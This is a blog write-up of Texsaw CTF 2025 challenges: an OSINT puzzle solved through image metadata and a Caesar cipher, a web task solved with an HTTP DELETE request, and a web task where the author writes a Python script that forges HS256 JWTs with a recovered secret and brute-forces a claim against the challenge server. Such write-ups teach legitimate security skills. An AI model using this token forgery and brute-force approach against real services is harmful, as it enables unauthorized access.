Post

Texsaw CTF 2025 - WEB, OSINT

Texsaw CTF 2025 - WEB, OSINT

Osint

pottermania_part1

Solvers: xxx
Author: texsaw

Description

Analyze the image and find where it is used. (P.S. word.paragraph)
Hint: numbers are considered as words
pottermania_part1

Solution

This challenge gives us a image and what us to find something. Let’s try google image search see what we can find.
After searching, we can this website and I am not really a fan or watch any movie or even read about Harry Potter so I skip this part.
Let use some popular command line when doing osint which is exiftool to see if we can find anything.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜  pottermania_part1 exiftool harrypotter.jpg | cat
ExifTool Version Number         : 12.76
File Name                       : harrypotter.jpg
Directory                       : .
File Size                       : 106 kB
File Modification Date/Time     : 2025:04:13 10:57:38+07:00
File Access Date/Time           : 2025:04:13 11:13:39+07:00
File Inode Change Date/Time     : 2025:04:13 11:13:36+07:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Copyright                       : Caesar Cipher [shift=11]
XMP Toolkit                     : Image::ExifTool 13.19
Title                           : texsaw{Copyright(12.4)Copyright(35.7)Copyright(37.7)}
Author                          : Gina McIntyre
Image Width                     : 753
Image Height                    : 1024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 753x1024
Megapixels                      : 0.771

I am really curious about the Copyright field and the Title field.

1
2
Copyright                       : Caesar Cipher [shift=11]
Title                           : texsaw{Copyright(12.4)Copyright(35.7)Copyright(37.7)}

Look back the hint, it says that numbers are considered as words. And also the P.S says that word.paragraph.
Maybe it could be like this:

1
2
3
4
word.paragraph
12      4
35      7
37      7

Luckly, we have found a website above. Let’s find these words in the website.
For the word at position 12 in paragraph 4, it is Harry.
harry

And the rest of the words are:

  • Ron at position 35 in paragraph 7
  • Hermione at position 37 in paragraph 7

I quickly submit the flag texsaw{HarryRonHermione} and it failed =)). I suddenly realize that the Copyright field is Caesar Cipher with shift 11. So it means that we need to shift to 11 characters and I found this website caesar-cipher-solver.
caesar

So the final result is:

  • Harry -> Slccj
  • Ron -> Czy
  • Hermione -> Spcxtzyp

So let’s correct the format SlccjCzySpcxtzyp and we successfully submit correctly.

Flag: texsaw{SlccjCzySpcxtzyp}

Web

Deprecated Site

Solvers: xxx
Author: texsaw

Description

CSG’s left an old webpage up on accident. It’s old and deprecated, maybe you should do us a favor and get rid of it?

Solution

This challenge is really simple. The hint is deprecated and get rid of it so just simply delete this page.
I will use curl to delete the page.

1
2
➜  ~ curl -X DELETE http://74.207.229.59:20201/
Why would you delete my website :( here's a sad flag texsaw{why_d0_i_del3t3ed}

Super easy right? =))

Flag: texsaw{why_d0_i_del3t3ed}

PotterMania pt.2

Solvers: xxx
Author: texsaw

Description

Can you direct(ory) Harry to go down the right path to defeat You-Know-Who? P.S. You might want to check out pottermaina_part1, it’s key.

Solution

When go through the website, we just found another endpoint /magic which reveal JWT Token.

1
2
3
4
5
6
7
fetch('/magic', {
    method: 'GET',
    credentials: "include",
    headers: {
        'X-Magic-Token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRlIjoiMjAyMy0wMTQwLWZzoyMToyNy42MTAiNzcrMDAgMDAlMDAiLCJzGVsbCI6IkpybjIiYmF0dGxlIiwibG9jYXRpb24iIGIG9mIGhvZ3Z3cnRzIn0.bBdbvETm-Aml15_asxsgiEMcMBTiiFTgXpXycDCgY8'
    }
})

I will use jwt.is to decode the JWT Token.
jwt

But is missing the signature part. So from the hint we get from description, the key for this secret is from challenge pottermania_part1 which is SlccjCzySpcxtzyp.
So let’s sign the JWT Token.
jwt

The signature has been verified. So what next?
After reading again the hint from the description Can you direct(ory) Harry to go down the right path to defeat You-Know-Who?, I think we need to find the right path.

From the payload data we get from the JWT Token, we can see that the location is hogwarts.

1
2
3
4
5
{
    "date": "2025-04-13T03:21:27.310577+00:00",
    "spell": "Protego Maxima",
    "loc": "battle of hogwarts",
}

If we search about battle of hogwarts date we will the exact date.
battle

Is May 2, 1998 when Harry Potter defeated Voldemort so we need to find the correct spell to defeat Voldemort.
After searching, I found this website and I found the correct spell is Expelliarmus which is his Disarming Charm.
expelliarmus

But I was not able to find the flag but I have found all the information I need and here is the script to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import jwt
import requests

SECRET_KEY = 'SlccjCzySpcxtzyp'

SESSION_COOKIE = "tk3kXkymEaa0uE7g_P274TPkEgsX-TX9DrFL_ghzIwI.i2NS5OQ0qHpagdx7eh2HMWE9KV0"

MAGIC_URL = "http://74.207.229.59:20202/magic"

BATTLE_DATE = "1998-05-02T09:45:00.000000+00:00"

LOCATION = "battle of hogwarts"

spells = [
    "Expelliarmus", "Stupefy", "Protego", "Protego Maxima", "Petrificus Totalus", "Reducto",
    "Confringo", "Bombarda", "Diffindo", "Impedimenta", "Rictusempra", "Levicorpus",
    "Incarcerous", "Relashio", "Oppugno", "Finite Incantatem", "Lumos Maxima",
    "Homenum Revelio", "Salvio Hexia", "Cave Inimicum", "Muffliato", "Glisseo",
    "Everte Statum", "Expecto Patronum", "Langlock"
]

print(f"[*] Starting PotterMania Solver...")
print(f"[*] Using secret key: {SECRET_KEY}")
print(f"[*] Using battle date: {BATTLE_DATE}")
print(f"[*] Using location: {LOCATION}")
print(f"[*] Testing {len(spells)} different spells...")

for spell in spells:
    payload = {
        "date": BATTLE_DATE,
        "loc": LOCATION,
        "spell": spell
    }
    
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    
    headers = {
        "X-Magic-Token": token
    }
    cookies = {
        "session": SESSION_COOKIE
    }
    
    print(f"\n[*] Trying spell: {spell}")
    response = requests.get(MAGIC_URL, headers=headers, cookies=cookies)
    
    if "are u ready to help harry win the war of hogwarts" not in response.text:
        print(f"[+] FOUND INTERESTING RESPONSE with spell: {spell}")
        print(f"[+] Status code: {response.status_code}")
        
        if "texsaw{" in response.text.lower():
            import re
            flag_match = re.search(r'texsaw\{[^}]+\}', response.text, re.IGNORECASE)
            if flag_match:
                print(f"\n[!] FLAG FOUND: {flag_match.group(0)}")
                with open(f"flag_found_{spell}.html", "w") as f:
                    f.write(response.text)
                break
        
        print(f"[+] First 200 chars of response: {response.text[:200]}")
        with open(f"response_{spell}.html", "w") as f:
            f.write(response.text)
    else:
        print(f"[-] No special response with {spell}")

print("\n[*] Script execution completed.")

And this technique is about JWT manipulation but sadly I can not find the flag because I need to read some information about Harry Potter which I have never watched or even read it before.
But thankfully this challenge is getting me to read something about Harry Potter =))

Flag: texsaw{XXX}

This post is licensed under CC BY 4.0 by the author.